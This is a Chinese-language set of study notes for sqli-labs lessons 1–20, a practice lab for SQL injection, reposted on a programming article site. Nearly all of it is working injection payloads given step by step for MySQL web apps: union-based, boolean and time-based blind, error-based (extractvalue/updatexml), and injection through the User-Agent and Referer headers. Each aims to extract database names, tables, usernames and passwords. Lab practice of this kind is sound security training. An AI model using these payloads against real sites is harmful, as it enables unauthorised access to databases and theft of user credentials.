sqlilabs靶场1—20题学习笔记(思路+解析+方法)

2024-04-17 01:28

本文主要是介绍sqlilabs靶场1—20题学习笔记(思路+解析+方法),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前几个题目较为简单,均尝试使用各种方法进行SQL注入

第一题

联合查询

1)思路:

有回显值

1.判断有无注入点

2.猜解列名数量

3.判断回显点

4.利用注入点进行信息收集

爆用户权限,爆库,爆版本号

爆表,爆列,爆账号密码

2)解题过程:

?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

判断为单引号注入,且有回显点

猜解列名数量为3

?id=1'order by 3--+

判断回显点:2,3

?id=-1'union select 1,2,3--+

联合注入进行信息收集

爆库、版本号、权限

?id=-1' union select 1,database(),version()--+

?id=-1' union select 1,2,user()--+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆账号密码

?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users)--+

第二题

解题思路与第一题相同

?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

联合查询:

猜解列名数量:3

?id=1 order by 4

判断回显点

?id=-1 union select 1,2,3

爆库、版本号、权限

?id=-1 union select 1,database(),version()--+

?id=-1 union select 1,2,user()--+

爆表、爆列

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1 union select 1,2,(select group_concat(username,password))from users

第三题

?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据报错信息判断为单引号带括号注入

联合查询

猜解列名

?id=1') order by 3--+            

判断回显点

?id=-1') union select 1,2,3--+    

爆库、版本号、权限

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,user()--+

爆表、爆列

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1') union select 1,2,(select group_concat(username,password))from users

第四题

根据报错信息得到注入点是双引号带括号注入

联合查询:

猜解列名

?id=1") order by 3--+            

判断回显点

?id=-1") union select 1,2,3--+    

爆库、版本号、权限

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,user()--+

爆表、爆列

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1") union select 1,2,(select group_concat(username,password))from users

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

 

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+  正常

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+     正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+    正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

第七题

根据报错信息

?id=1' and '1'='1 返回页面正常 ------对应查询SQL:where id=(('1' and '1'='1'));

?id=1' and '1'='2 返回页面报错 ------对应查询SQL:where id=(('1' and '1'='2'));

判断为字符型注入

?id=1" 返回页面正常 ---------对应查询SQL:where id=(('1"'))

?id=1'--+ 返回页面报错 ---------对应查询SQL:where id=(('1'--+')) -----破坏SQL语句原有结构

?id=1')--+ 返回页面报错 --------对应查询SQL:where id=(('1')--+'))

?id=1'))--+ 返回页面正常 --------对应查询SQL:where id=(('1'))--+'))

注入形式为:?id=1'))

没有回显点,尝试盲注,与第五题方法相同

第八题

 

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面不正常,无回显信息

判断为字符型注入

?id=1'--+ 页面正常,无回显信息 SQL查询语句:where id='1'--+'

注入形式为?id=1''

没有回显点,尝试盲注,与第五题方法相同

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

 

第十一题

方法一

poss提交

输入1显示登录失败

输入1' 显示报错信息

根据提示得知:SQL查询语句为 username='参数' and password=''

and是与运算;两个或多个条件同时满足,才为真(显示一条数据)

or是或运算,两个或多个条件满足其中一个即为真(显示一条数据)

此处只能用1' or 1=1# 不能用and,因为不知道username,username='1'恒为假

并且只能用#,用--+无效

1' or 1=1# 页面正常显示

1' or 1=2# 页面报错

说明SQL语句正确

后续步骤使用联合注入

方法二

登录界面,Burpsuite抓包尝试

输入1',提示报错、单引号注入

使用报错注入的方法:extractvalue()

1'order by 2 判断列数

1'union select 1,extractvalue(1,concat(0x7e,database()))%23 爆版本号、数据库名、权限等

1'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))%23 爆表名

1'union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))%23 爆列名

1'union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))%23

1'union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1)))%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

使用报错注入的方法:updatexml()

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

第十二题

输入1 和 1' 页面没反应 输入1" 页面出现报错信息,提示是双引号带括号注入

猜解步骤与第十一题相同

第十三题

输入1' 出现报错信息,提示是单引号带括号注入

猜解步骤与第十一题相同

第十四题

输入1",出现报错信息,提示是双引号注入

猜解步骤与第十一题相同

第十五题

输入信息页面没有回显值

判断为盲注,根据页面显示正确与否猜解数据库信息

当输入1'or 1=1#,找到注入点

布尔盲注:采用第五题解法

第十六题

与15题思路相同

第十七题

B站教学视频很详细

【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili

我将SQL语句在页面中显示,以便更深入学习。

寻找注入点

修改密码的一个页面。

输入正确的账号密码,可以看到,账号为admin,密码修改admin——admin

密码换成123

使用hackbar插件

对username进行注入,会发现输入的 ' 被转义了,寻找其他注入点

对password部分进行注入,发现注入点

报错注入

关于报错注入的知识点:第十一题

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

 

第十八题

1.分析题目

学习博文(包含http请求头的学习):sqli-labs关卡18(基于http头部报错盲注)通关思路_sqli-labs18-CSDN博客

非常详细

我仍将SQL语句在页面中显示,以便更深入学习。

输入正确的账号密码

页面回显ip信息

用户的ip信息与http请求头X-Forwarded-For有关,可以尝试在http请求头注入

查看源码

这里username和password被过滤,无法注入

User-Agent部分可以尝试注入

添加单引号,会发现报错,报错为缺少 ' ',' ') 判断原SQL语句为('$uagent','$ip','$uname');

2.尝试注入

分析过后,页面无回显点,尝试报错注入

正常语句:('$uagent','$ip','$uname')

报错语句:('$uagent'','$ip','$uname')(多了个 ' )

注入语句:'SQL注入',1,1)#

1)爆数据库

1'and updatexml(1,concat(0x7e,(database())),1),1,1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1,1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1,1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1,1)#

第十九题

1.分析题目

输入正确的账号密码,显示referer字段,也是http请求头中的,应该和第十八题思路一样

用Burpsuite抓包,尝试在referer处加 ' 报错

观察报错信息

判断正常语句应为('$uagent','$ip')

查看源码

报错语句:('$uagent'','$ip')

注入语句: 'SQL注入',1)#,'$ip')

2.尝试注入

1)爆数据库

1'and updatexml(1,concat(0x7e,database(),0x7e),1),1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1)#

第二十题

输入正确时,页面显示Cookie值

用Burpsuite抓包,进行报错注入:

 

这篇关于sqlilabs靶场1—20题学习笔记(思路+解析+方法)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/910439

相关文章

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

Java判断多个时间段是否重合的方法小结

《Java判断多个时间段是否重合的方法小结》这篇文章主要为大家详细介绍了Java中判断多个时间段是否重合的方法,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录判断多个时间段是否有间隔判断时间段集合是否与某时间段重合判断多个时间段是否有间隔实体类内容public class D

Python使用国内镜像加速pip安装的方法讲解

《Python使用国内镜像加速pip安装的方法讲解》在Python开发中,pip是一个非常重要的工具,用于安装和管理Python的第三方库,然而,在国内使用pip安装依赖时,往往会因为网络问题而导致速... 目录一、pip 工具简介1. 什么是 pip?2. 什么是 -i 参数?二、国内镜像源的选择三、如何

IDEA编译报错“java: 常量字符串过长”的原因及解决方法

《IDEA编译报错“java:常量字符串过长”的原因及解决方法》今天在开发过程中,由于尝试将一个文件的Base64字符串设置为常量,结果导致IDEA编译的时候出现了如下报错java:常量字符串过长,... 目录一、问题描述二、问题原因2.1 理论角度2.2 源码角度三、解决方案解决方案①:StringBui

Linux使用nload监控网络流量的方法

《Linux使用nload监控网络流量的方法》Linux中的nload命令是一个用于实时监控网络流量的工具,它提供了传入和传出流量的可视化表示,帮助用户一目了然地了解网络活动,本文给大家介绍了Linu... 目录简介安装示例用法基础用法指定网络接口限制显示特定流量类型指定刷新率设置流量速率的显示单位监控多个

Java覆盖第三方jar包中的某一个类的实现方法

《Java覆盖第三方jar包中的某一个类的实现方法》在我们日常的开发中,经常需要使用第三方的jar包,有时候我们会发现第三方的jar包中的某一个类有问题,或者我们需要定制化修改其中的逻辑,那么应该如何... 目录一、需求描述二、示例描述三、操作步骤四、验证结果五、实现原理一、需求描述需求描述如下:需要在

JavaScript中的reduce方法执行过程、使用场景及进阶用法

《JavaScript中的reduce方法执行过程、使用场景及进阶用法》:本文主要介绍JavaScript中的reduce方法执行过程、使用场景及进阶用法的相关资料,reduce是JavaScri... 目录1. 什么是reduce2. reduce语法2.1 语法2.2 参数说明3. reduce执行过程

C#中读取XML文件的四种常用方法

《C#中读取XML文件的四种常用方法》Xml是Internet环境中跨平台的,依赖于内容的技术,是当前处理结构化文档信息的有力工具,下面我们就来看看C#中读取XML文件的方法都有哪些吧... 目录XML简介格式C#读取XML文件方法使用XmlDocument使用XmlTextReader/XmlTextWr

C++初始化数组的几种常见方法(简单易懂)

《C++初始化数组的几种常见方法(简单易懂)》本文介绍了C++中数组的初始化方法,包括一维数组和二维数组的初始化,以及用new动态初始化数组,在C++11及以上版本中,还提供了使用std::array... 目录1、初始化一维数组1.1、使用列表初始化(推荐方式)1.2、初始化部分列表1.3、使用std::

oracle DBMS_SQL.PARSE的使用方法和示例

《oracleDBMS_SQL.PARSE的使用方法和示例》DBMS_SQL是Oracle数据库中的一个强大包,用于动态构建和执行SQL语句,DBMS_SQL.PARSE过程解析SQL语句或PL/S... 目录语法示例注意事项DBMS_SQL 是 oracle 数据库中的一个强大包,它允许动态地构建和执行